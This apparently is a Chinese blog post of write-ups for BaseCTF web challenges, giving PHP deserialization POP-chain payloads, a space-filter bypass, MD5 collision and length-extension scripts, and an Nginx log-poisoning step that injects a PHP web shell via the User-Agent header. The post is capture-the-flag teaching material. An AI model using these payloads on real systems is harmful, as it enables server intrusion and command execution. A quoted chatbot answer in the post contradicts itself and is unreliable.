BaseCTF-web-wp

BaseCTF-web

[Week2] ez_ser

源代码+poc

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;#3 chu0=new pwn()
    }
}

class web {#5
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;#4 kw=new re()
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();#2 over=new Misc()
    }
}
class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");#1
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$a=new web();
$a->kw=new re();
$a->kw->chu0=new pwn();
$a->kw->chu0->over=new Misc();
$a->kw->chu0->dusk="gods";
echo serialize($a)
?>

[Week2] 一起吃豆豆

f12查看源代码,找到一串base64字符串

context.fillText(_LIFE ? atob("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==") : 'GAME OVER', this.x, this.y);

解码得到

BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}

[Week2] 你听不到我的声音

shell_exec函数没有回显,使用

记得改大小写加花括号BaseCTF{...}

反弹shell没成功,不知道什么原因

[Week2] RCEisamazingwithspace

只过滤了空格,用${IFS}代替即可

cat${IFS}/flag

[Week2] Really EZ POP

<?php
highlight_file(__FILE__);

class Sink
{
    private $cmd = 'system("cat /flag");';#private
    public function __toString()
    {
        eval($this->cmd);#1 $cmd为执行的命令
        return '666';
    }
}

class Shark
{
    var $word ;#!!!private
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;#2 $word=new Sink()
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();#3 $animal=new Shark()
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;#4 $sea=new Sea()
    }
}

if ($_POST['nature']) {
    $nature = unserialize($_POST['nature']);
}

$a=new Nature();
$a->sea=new Sea();
$a->sea->animal=new Shark();
$a->sea->animal->word=new Sink();
echo (serialize($a));

注意第二个private类型必须更改s:11:"%00Shark%00word";

payload:nature=O%3a6%3a"Nature"%3a1%3a{s%3a3%3a"sea"%3bO%3a3%3a"Sea"%3a1%3a{s%3a6%3a"animal"%3bO%3a5%3a"Shark"%3a1%3a{s%3a11%3a"%00Shark%00word"%3bO%3a4%3a"Sink"%3a1%3a{s%3a9%3a"%00Sink%00cmd"%3bs%3a20%3a"system("cat%20/flag")%3b"%3b}}}}

[Week2] 数学大师

先贴脚本

import requests
import re
import time
session = requests.Session()
session.cookies.set('PHPSESSID', 'rpskb0cmsdml473qgbumlau9gr')  # 替换为实际的 cookie 名称和值
flag=0
while True:
    # 1. 使用 requests 获取网页内容
    url = 'http://challenge.basectf.fun:22057/'  # 替换为目标网页的 URL
    if flag == 0:
        response = session.get(url)
        html = response.text
        print(html)
        match = re.search(r'(\d+[\+\-×÷]\d+)', html)
    if match:
        expression = match.group(1)  # 提取匹配的表达式
        # 替换运算符为 Python 可识别的运算符
        expression = expression.replace('×', '*').replace('÷', '//')
        result = eval(expression)  # 计算表达式
        print(f"提取的表达式: {match.group(1)}")
        print(f"计算结果: {result}")

        if result is not None:
            post_url = 'http://challenge.basectf.fun:22057/'  # 替换为目标 POST URL
            post_data = {'answer': result}
            post_response = session.post(post_url, data=post_data)

            # 输出响应
            print(post_response.text)
            flag = 1
            match = re.search(r'(\d+[\+\-×÷]\d+)', post_response.text)

            time.sleep(0.01) 
    else:
        print("未找到表达式。")

注意几个点:使用session来记录会话,可以在浏览器控制台的应用找到

使用flag标签防止第二次循环多请求一次导致清零

[Week2] 所以你说你懂 MD5?

payload:

apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&apppple=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&banananana=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2&md5=156f8018c7da3674f6912c9e5ae2aaa5&name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin

脚本md5.py

# -*- coding: utf-8 -*-
import my_md5
import sys
import six
import urllib

MD5_Hash = '739ba4f9b7df3a240bf5ea17c27f1827'
length = 96  # 将长度设置为96
text = 'admin'

s1 = eval('0x' + MD5_Hash[:8].decode('hex')[::-1].encode('hex'))
s2 = eval('0x' + MD5_Hash[8:16].decode('hex')[::-1].encode('hex'))
s3 = eval('0x' + MD5_Hash[16:24].decode('hex')[::-1].encode('hex'))
s4 = eval('0x' + MD5_Hash[24:32].decode('hex')[::-1].encode('hex'))

secret = "a" * length

# 计算填充
padding_length = 23


# 构建填充数据
test = secret + '\x80' + '\x00' * padding_length + '\x00\x03\x00\x00\x00\x00\x00\x00' + text

s = my_md5.deal_rawInputMsg(test)
r = my_md5.deal_rawInputMsg(secret)
inp = s[len(r):]

print('填充完的数据为:' + urllib.quote(test) + '\n')
print('----------------------------------------------------------')
print('扩充完的数据为(16进制):' + s)
print('----------------------------------------------------------')
print('截取最后分组的数据(16进制):' + inp)
print('----------------------------------------------------------')

print('最终填充结果为:' + bytes(test).encode('hex'))
print("填充后的md5为:" + my_md5.run_md5(s1, s2, s3, s4, inp))
my_md5.py!
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author:DshtAnger
# theory reference:
#   blog:
#       http://blog.csdn.net/adidala/article/details/28677393
#       http://blog.csdn.net/forgotaboutgirl/article/details/7258109
#       http://blog.sina.com.cn/s/blog_6fe0eb1901014cpl.html
#   RFC1321:
#       https://www.rfc-editor.org/rfc/pdfrfc/rfc1321.txt.pdf
##############################################################################
import sys


def genMsgLengthDescriptor(msg_bitsLenth):
    '''
    ---args:
            msg_bitsLenth : the bits length of raw message
    --return:
            16 hex-encoded string , i.e.64bits,8bytes which used to describe the bits length of raw message added after padding
    '''
    return __import__("struct").pack(">Q", msg_bitsLenth).encode("hex")


def reverse_hex_8bytes(hex_str):
    '''
    --args:
            hex_str: a hex-encoded string with length 16 , i.e.8bytes
    --return:
            transform raw message descriptor to little-endian
    '''
    hex_str = "%016x" % int(hex_str, 16)
    assert len(hex_str) == 16
    return __import__("struct").pack("<Q", int(hex_str, 16)).encode("hex")


def reverse_hex_4bytes(hex_str):
    '''
    --args:
            hex_str: a hex-encoded string with length 8 , i.e.4bytes
    --return:
            transform 4 bytes message block to little-endian
    '''
    hex_str = "%08x" % int(hex_str, 16)
    assert len(hex_str) == 8
    return __import__("struct").pack("<L", int(hex_str, 16)).encode("hex")


def deal_rawInputMsg(input_msg):
    '''
    --args:
            input_msg : inputed a ascii-encoded string
    --return:
            a hex-encoded string which can be inputed to mathematical transformation function.
    '''
    ascii_list = [x.encode("hex") for x in input_msg]
    length_msg_bytes = len(ascii_list)
    length_msg_bits = len(ascii_list) * 8
    # padding
    ascii_list.append('80')
    while (len(ascii_list) * 8 + 64) % 512 != 0:
        ascii_list.append('00')
    # add Descriptor
    ascii_list.append(reverse_hex_8bytes(genMsgLengthDescriptor(length_msg_bits)))
    return "".join(ascii_list)


def getM16(hex_str, operatingBlockNum):
    '''
    --args:
            hex_str : a hex-encoded string with length in integral multiple of 512bits
            operatingBlockNum : message block number which is being operated , greater than 1
    --return:
            M : result of splited 64bytes into 4*16 message blocks with little-endian

    '''
    M = [int(reverse_hex_4bytes(hex_str[i:(i + 8)]), 16) for i in
         xrange(128 * (operatingBlockNum - 1), 128 * operatingBlockNum, 8)]
    return M


# 定义函数,用来产生常数T[i],常数有可能超过32位,同样需要&0xffffffff操作。注意返回的是十进制的数
def T(i):
    result = (int(4294967296 * abs(__import__("math").sin(i)))) & 0xffffffff
    return result


# 定义每轮中用到的函数
# RL为循环左移,注意左移之后可能会超过32位,所以要和0xffffffff做与运算,确保结果为32位
F = lambda x, y, z: ((x & y) | ((~x) & z))
G = lambda x, y, z: ((x & z) | (y & (~z)))
H = lambda x, y, z: (x ^ y ^ z)
I = lambda x, y, z: (y ^ (x | (~z)))
RL = L = lambda x, n: (((x << n) | (x >> (32 - n))) & (0xffffffff))


def FF(a, b, c, d, x, s, ac):
    a = (a + F((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
    a = RL((a), (s)) & 0xffffffff;
    a = (a + b) & 0xffffffff
    return a


def GG(a, b, c, d, x, s, ac):
    a = (a + G((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
    a = RL((a), (s)) & 0xffffffff;
    a = (a + b) & 0xffffffff
    return a


def HH(a, b, c, d, x, s, ac):
    a = (a + H((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
    a = RL((a), (s)) & 0xffffffff;
    a = (a + b) & 0xffffffff
    return a


def II(a, b, c, d, x, s, ac):
    a = (a + I((b), (c), (d)) + (x) + (ac) & 0xffffffff) & 0xffffffff;
    a = RL((a), (s)) & 0xffffffff;
    a = (a + b) & 0xffffffff
    return a


def show_md5(A, B, C, D):
    return "".join(["".join(__import__("re").findall(r"..", "%08x" % i)[::-1]) for i in (A, B, C, D)])


def run_md5(A=0x67452301, B=0xefcdab89, C=0x98badcfe, D=0x10325476, readyMsg=""):
    a = A
    b = B
    c = C
    d = D

    for i in xrange(0, len(readyMsg) / 128):
        M = getM16(readyMsg, i + 1)
        for i in xrange(16):
            exec "M" + str(i) + "=M[" + str(i) + "]"
        # First round
        a = FF(a, b, c, d, M0, 7, 0xd76aa478L)
        d = FF(d, a, b, c, M1, 12, 0xe8c7b756L)
        c = FF(c, d, a, b, M2, 17, 0x242070dbL)
        b = FF(b, c, d, a, M3, 22, 0xc1bdceeeL)
        a = FF(a, b, c, d, M4, 7, 0xf57c0fafL)
        d = FF(d, a, b, c, M5, 12, 0x4787c62aL)
        c = FF(c, d, a, b, M6, 17, 0xa8304613L)
        b = FF(b, c, d, a, M7, 22, 0xfd469501L)
        a = FF(a, b, c, d, M8, 7, 0x698098d8L)
        d = FF(d, a, b, c, M9, 12, 0x8b44f7afL)
        c = FF(c, d, a, b, M10, 17, 0xffff5bb1L)
        b = FF(b, c, d, a, M11, 22, 0x895cd7beL)
        a = FF(a, b, c, d, M12, 7, 0x6b901122L)
        d = FF(d, a, b, c, M13, 12, 0xfd987193L)
        c = FF(c, d, a, b, M14, 17, 0xa679438eL)
        b = FF(b, c, d, a, M15, 22, 0x49b40821L)
        # Second round
        a = GG(a, b, c, d, M1, 5, 0xf61e2562L)
        d = GG(d, a, b, c, M6, 9, 0xc040b340L)
        c = GG(c, d, a, b, M11, 14, 0x265e5a51L)
        b = GG(b, c, d, a, M0, 20, 0xe9b6c7aaL)
        a = GG(a, b, c, d, M5, 5, 0xd62f105dL)
        d = GG(d, a, b, c, M10, 9, 0x02441453L)
        c = GG(c, d, a, b, M15, 14, 0xd8a1e681L)
        b = GG(b, c, d, a, M4, 20, 0xe7d3fbc8L)
        a = GG(a, b, c, d, M9, 5, 0x21e1cde6L)
        d = GG(d, a, b, c, M14, 9, 0xc33707d6L)
        c = GG(c, d, a, b, M3, 14, 0xf4d50d87L)
        b = GG(b, c, d, a, M8, 20, 0x455a14edL)
        a = GG(a, b, c, d, M13, 5, 0xa9e3e905L)
        d = GG(d, a, b, c, M2, 9, 0xfcefa3f8L)
        c = GG(c, d, a, b, M7, 14, 0x676f02d9L)
        b = GG(b, c, d, a, M12, 20, 0x8d2a4c8aL)
        # Third round
        a = HH(a, b, c, d, M5, 4, 0xfffa3942L)
        d = HH(d, a, b, c, M8, 11, 0x8771f681L)
        c = HH(c, d, a, b, M11, 16, 0x6d9d6122L)
        b = HH(b, c, d, a, M14, 23, 0xfde5380c)
        a = HH(a, b, c, d, M1, 4, 0xa4beea44L)
        d = HH(d, a, b, c, M4, 11, 0x4bdecfa9L)
        c = HH(c, d, a, b, M7, 16, 0xf6bb4b60L)
        b = HH(b, c, d, a, M10, 23, 0xbebfbc70L)
        a = HH(a, b, c, d, M13, 4, 0x289b7ec6L)
        d = HH(d, a, b, c, M0, 11, 0xeaa127faL)
        c = HH(c, d, a, b, M3, 16, 0xd4ef3085L)
        b = HH(b, c, d, a, M6, 23, 0x04881d05L)
        a = HH(a, b, c, d, M9, 4, 0xd9d4d039L)
        d = HH(d, a, b, c, M12, 11, 0xe6db99e5L)
        c = HH(c, d, a, b, M15, 16, 0x1fa27cf8L)
        b = HH(b, c, d, a, M2, 23, 0xc4ac5665L)
        # Fourth round
        a = II(a, b, c, d, M0, 6, 0xf4292244L)
        d = II(d, a, b, c, M7, 10, 0x432aff97L)
        c = II(c, d, a, b, M14, 15, 0xab9423a7L)
        b = II(b, c, d, a, M5, 21, 0xfc93a039L)
        a = II(a, b, c, d, M12, 6, 0x655b59c3L)
        d = II(d, a, b, c, M3, 10, 0x8f0ccc92L)
        c = II(c, d, a, b, M10, 15, 0xffeff47dL)
        b = II(b, c, d, a, M1, 21, 0x85845dd1L)
        a = II(a, b, c, d, M8, 6, 0x6fa87e4fL)
        d = II(d, a, b, c, M15, 10, 0xfe2ce6e0L)
        c = II(c, d, a, b, M6, 15, 0xa3014314L)
        b = II(b, c, d, a, M13, 21, 0x4e0811a1L)
        a = II(a, b, c, d, M4, 6, 0xf7537e82L)
        d = II(d, a, b, c, M11, 10, 0xbd3af235L)
        c = II(c, d, a, b, M2, 15, 0x2ad7d2bbL)
        b = II(b, c, d, a, M9, 21, 0xeb86d391L)

        A += a
        B += b
        C += c
        D += d

        A = A & 0xffffffff
        B = B & 0xffffffff
        C = C & 0xffffffff
        D = D & 0xffffffff

        a = A
        b = B
        c = C
        d = D
        print "%x,%x,%x,%x" % (a, b, c, d)

    return show_md5(a, b, c, d)

md5长度扩展攻击见https://zu1k.com/posts/security/crypto/md5-hash-length-extension-attack/#%E7%AC%AC%E4%BA%8C%E6%AD%A5%E8%AE%B0%E5%BD%95%E4%BF%A1%E6%81%AF%E9%95%BF%E5%BA%A6

[Week3] ez_php_jail

当 php 版本⼩于 8 时,GET 请求的参数名含有 . ,会被转为 _ ,但是如果参数名中有 [ ,这
[ 会被直接转为_ ,但是后⾯如果有 . ,这个 . 就不会被转为_

过滤了

/(`|\$|a|c|s|require|include)/i
highlight_file('/f*');#highlight_file读取文件

https://www.freebuf.com/articles/web/319567.html

但是上面的读取方法是无效的,引用gpt的回答

highlight_file('/f'); 和highlight_file(glob("/f")[0]); 都能读取文件吗?

在 PHP 中,highlight_file 函数用于高亮显示指定文件的内容。你提到的两种用法都可以读取文件,但它们的工作方式略有不同。

1. highlight_file('/f*')

这个用法是直接传递一个字符串 '/f*'highlight_file。然而,这种用法是无效的,因为 highlight_file 需要一个具体的文件路径,而不是一个模式。'/f*' 只是一个模式,PHP 不会将其解析为文件路径。因此,这种用法会导致错误。

2. highlight_file(glob("/f*")[0])

这个用法是有效的。这里的 glob("/f*") 会返回一个数组,包含所有匹配 /f* 模式的文件路径。[0] 取数组中的第一个元素(即第一个匹配的文件路径),然后将其传递给 highlight_file。如果存在匹配的文件,这种用法将成功读取并高亮显示该文件的内容。

[Week3] 滤个不停

先贴源码

<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
    die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
    if (strpos($Datch, $char) === false) {
        $is_valid = false;
        break;
    }
}

if ($is_valid) {

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

    foreach ($invalid_patterns as $pattern) {
        if (stripos($Datch, $pattern) !== false) {
            die('此路不通换条路试试?');
        }
    }


    include($Datch);
} else {
    die('文件名不合规 请重试');
}
?>

过滤了所有伪协议,可以采用包含日志的方法

包含Apache、nginx日志文件

默认nginx的日志路径为 /var/log/nginx/access.log

默认apache/var/log/apache2/access.log /var/log/apache2/access.log

或者通过phpinfo()查看

在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log

直接访问127.0.0.1/<?php phpinfo();>,服务器的日志文件就会解析出这个url,但是被url编码,所以用burpsuite拦截一下更改成未编码的语句

之后通过访问日志文件的位置,执行php代码

注意:如果是UA头注入代码,必须一次写对,如果出错,文件包含执行的时候会报fatal error不再向下解析后续再写入的php代码(环境被污染)

php
?file=../../../../../../var/log/nginx/access.log
UA:<?php eval($_POST[1]);?>

post:1=system('tac /f*');

修改UA进不去的时候试试burp发包

posted @   Dyinglight5  阅读(15)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通
点击右上角即可分享
微信分享提示